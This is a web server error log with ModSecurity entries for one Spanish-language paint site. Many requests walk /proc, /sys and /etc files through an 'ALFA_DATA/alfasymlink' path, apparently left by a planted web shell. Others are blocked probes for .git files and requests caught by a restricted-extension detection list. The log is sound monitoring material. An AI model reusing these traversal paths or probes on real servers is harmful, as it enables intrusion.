[Sun Oct 25 11:30:26.167293 2026] [security2:error] [pid 2855794:tid 2855794] [client 52.0.41.164:54120] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver_override"] [unique_id "at4gkpa7jgKKz5LnrbxK1QAAAAQ"]
[Sun Oct 25 11:30:50.737358 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 185.191.171.10:34168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:31:06.421755 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 54.235.191.179:19030] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:31:22.253452 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 35.173.38.202:28102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:31:30.217087 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 98.83.226.125:5138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:31:42.170063 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 35.174.141.243:42985] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:31:50.154927 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 52.2.83.227:20037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:31:54.155878 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 54.84.102.81:4567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:32:18.134825 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 52.4.229.9:15741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:32:26.163255 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 34.196.114.170:21863] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:32:34.299309 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 52.6.97.88:39080] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:32:38.245772 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 54.167.32.123:61117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:32:42.266803 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 3.94.40.182:62922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:32:42.267048 2026] [security2:error] [pid 2855792:tid 2855792] [client 3.94.40.182:62922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:19/adr"] [unique_id "at4hGjny6hllpa988e1u2wAAAAI"]
[Sun Oct 25 11:32:42.267086 2026] [security2:error] [pid 2855792:tid 2855792] [client 3.94.40.182:62922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:19/adr"] [unique_id "at4hGjny6hllpa988e1u2wAAAAI"]
[Sun Oct 25 11:32:44.970011 2026] [core:error] [pid 2855811:tid 2855811] (13)Permission denied: [client 185.191.171.10:60488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/store_user
[Sun Oct 25 11:32:50.147608 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 52.3.102.51:46173] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:32:58.436725 2026] [ssl:error] [pid 2855805:tid 2855805] (5)Input/output error: [client 52.3.104.214:44224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:33:01.944571 2026] [core:error] [pid 2855794:tid 2855794] (13)Permission denied: [client 85.208.96.207:61874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/align
[Sun Oct 25 11:33:06.103918 2026] [security2:error] [pid 2855792:tid 2855792] [client 172.64.198.5:10385] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4hMjny6hllpa988e1u3AAAAAI"]
[Sun Oct 25 11:33:06.103920 2026] [security2:error] [pid 2855809:tid 2855809] [client 172.64.198.5:10391] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4hMrUMNU5YAztchGbb3AAAABo"]
[Sun Oct 25 11:33:06.104284 2026] [security2:error] [pid 2855792:tid 2855792] [client 172.64.198.5:10385] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4hMjny6hllpa988e1u3AAAAAI"]
[Sun Oct 25 11:33:06.104284 2026] [security2:error] [pid 2855809:tid 2855809] [client 172.64.198.5:10391] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4hMrUMNU5YAztchGbb3AAAABo"]
[Sun Oct 25 11:33:06.104690 2026] [security2:error] [pid 2855792:tid 2855792] [client 172.64.198.5:10385] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4hMjny6hllpa988e1u3AAAAAI"]
[Sun Oct 25 11:33:06.104692 2026] [security2:error] [pid 2855809:tid 2855809] [client 172.64.198.5:10391] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4hMrUMNU5YAztchGbb3AAAABo"]
[Sun Oct 25 11:33:06.168090 2026] [core:error] [pid 2855811:tid 2855811] (13)Permission denied: [client 52.70.209.13:63113] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/rescan
[Sun Oct 25 11:33:10.344142 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 52.70.209.13:45889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:33:22.253260 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 34.225.243.131:3462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input3/mouse1/device/subsystem/input5/device/subsystem/drivers_probe
[Sun Oct 25 11:33:23.615497 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 185.191.171.2:58198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:33:38.270221 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 35.173.18.61:31685] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:33:46.139490 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 52.0.41.164:15614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:33:50.630276 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 85.208.96.200:18342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/cpu_slabs
[Sun Oct 25 11:33:54.153331 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 54.156.124.2:19170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:33:57.625210 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 185.191.171.13:13866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/aliases
[Sun Oct 25 11:34:08.332256 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 85.208.96.211:33864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/object_size
[Sun Oct 25 11:34:18.315448 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 52.3.127.170:4351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:34:30.069390 2026] [core:error] [pid 2855809:tid 2855809] (13)Permission denied: [client 185.191.171.8:41102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/alloc_calls
[Sun Oct 25 11:34:34.223112 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 54.85.109.140:11376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:34:38.151217 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 3.211.181.86:9239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/virtio1/driver/unbind
[Sun Oct 25 11:34:48.684423 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 185.191.171.2:15690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/objects
[Sun Oct 25 11:34:59.471397 2026] [security2:error] [pid 2855805:tid 2855805] [client 85.208.96.202:56292] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/sxg/saharadbgdownloadB.sys"] [unique_id "at4ho9C9X1saEIOersrHEQAAABY"]
[Sun Oct 25 11:34:59.471835 2026] [security2:error] [pid 2855805:tid 2855805] [client 85.208.96.202:56292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/sxg/saharadbgdownloadB.sys"] [unique_id "at4ho9C9X1saEIOersrHEQAAABY"]
[Sun Oct 25 11:34:59.472145 2026] [security2:error] [pid 2855805:tid 2855805] [client 85.208.96.202:56292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/sxg/saharadbgdownloadB.sys"] [unique_id "at4ho9C9X1saEIOersrHEQAAABY"]
[Sun Oct 25 11:35:10.142788 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 3.215.59.93:34168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:35:14.165175 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 34.231.181.240:20828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/ohci-pci/new_id
[Sun Oct 25 11:35:18.161842 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 3.223.134.5:30506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:35:34.162853 2026] [ssl:error] [pid 2855794:tid 2855794] (5)Input/output error: [client 52.6.97.88:50271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:35:38.310749 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 34.227.234.246:1939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:35:42.147326 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 44.207.69.106:59799] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:35:46.152548 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 23.21.250.48:42983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:35:54.135504 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 44.221.227.90:42900] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:35:58.127676 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 52.1.157.90:3779] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:36:02.147999 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 98.82.40.168:52474] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:36:22.324716 2026] [ssl:error] [pid 2855813:tid 2855813] (5)Input/output error: [client 34.239.197.197:2182] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:36:30.137649 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 44.210.204.255:14106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:36:54.156012 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 44.197.76.210:53009] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/LNXCPU:01/physical_node/crash_notes_size
[Sun Oct 25 11:36:58.124454 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 52.204.71.8:39839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:37:06.121940 2026] [core:error] [pid 2855803:tid 2855803] (13)Permission denied: [client 3.93.98.99:30895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:06/physical_node/driver/new_id
[Sun Oct 25 11:37:09.712622 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 85.208.96.209:17564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:37:10.157602 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 54.92.171.106:23404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS3/type
[Sun Oct 25 11:37:22.304865 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 34.196.6.199:30272] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:37:34.129903 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 184.73.35.182:52618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:37:42.125882 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 52.44.174.136:63991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:37:46.287629 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 98.84.200.43:20349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:37:50.139502 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 3.212.219.113:49030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0_wc
[Sun Oct 25 11:38:10.171570 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 98.82.40.168:32629] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:38:34.132290 2026] [ssl:error] [pid 2853395:tid 2853395] (5)Input/output error: [client 35.169.119.108:31799] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:38:38.172306 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 3.212.86.97:49536] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:38:44.883839 2026] [core:error] [pid 2855803:tid 2855803] (13)Permission denied: [client 185.191.171.7:64584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/align
[Sun Oct 25 11:38:50.129625 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 54.157.84.74:30652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:38:54.142718 2026] [core:error] [pid 2855811:tid 2855811] (13)Permission denied: [client 184.72.84.154:3400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/drivers/button/LNXPWRBN:00/driver/unbind
[Sun Oct 25 11:39:02.146609 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 3.232.82.72:33526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/remove_id
[Sun Oct 25 11:39:10.429629 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 34.225.138.57:57094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:39:15.778740 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 85.208.96.202:35760] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/slabs_cpu_partial
[Sun Oct 25 11:39:22.140084 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 34.194.233.48:28965] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:39:26.139245 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 44.221.180.179:49526] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:39:42.148315 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 54.147.238.89:4710] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:39:58.151756 2026] [ssl:error] [pid 2855816:tid 2855816] (5)Input/output error: [client 44.223.232.55:7211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:40:06.233979 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 44.205.192.249:42203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:40:07.295112 2026] [security2:error] [pid 2855809:tid 2855809] [client 16.216.88.13:57344] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/firewalld-sysctls.conf"] [unique_id "at4i17UMNU5YAztchGbb6wAAABo"]
[Sun Oct 25 11:40:07.295599 2026] [security2:error] [pid 2855809:tid 2855809] [client 16.216.88.13:57344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/firewalld-sysctls.conf"] [unique_id "at4i17UMNU5YAztchGbb6wAAABo"]
[Sun Oct 25 11:40:07.295883 2026] [security2:error] [pid 2855809:tid 2855809] [client 16.216.88.13:57344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/firewalld-sysctls.conf"] [unique_id "at4i17UMNU5YAztchGbb6wAAABo"]
[Sun Oct 25 11:40:30.126992 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 18.210.58.238:54186] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:40:34.260861 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 52.3.104.214:14841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:40:38.122460 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 34.192.67.98:42651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:40:50.317590 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 34.226.89.140:28179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:41:06.131765 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 54.166.104.83:12581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:41:10.151074 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 35.171.117.160:10979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:41:14.132571 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 54.210.152.179:11342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:41:34.134902 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 44.205.120.22:17992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:41:42.143174 2026] [ssl:error] [pid 2855803:tid 2855803] (22)Invalid argument: [client 107.23.62.75:21104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:41:54.150208 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 3.214.176.44:55940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:42:02.138598 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 98.82.39.241:40319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:42:06.155865 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 3.223.181.32:22477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:42:11.954371 2026] [security2:error] [pid 2855805:tid 2855805] [client 16.216.88.202:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "at4jU9C9X1saEIOersrHIAAAABY"]
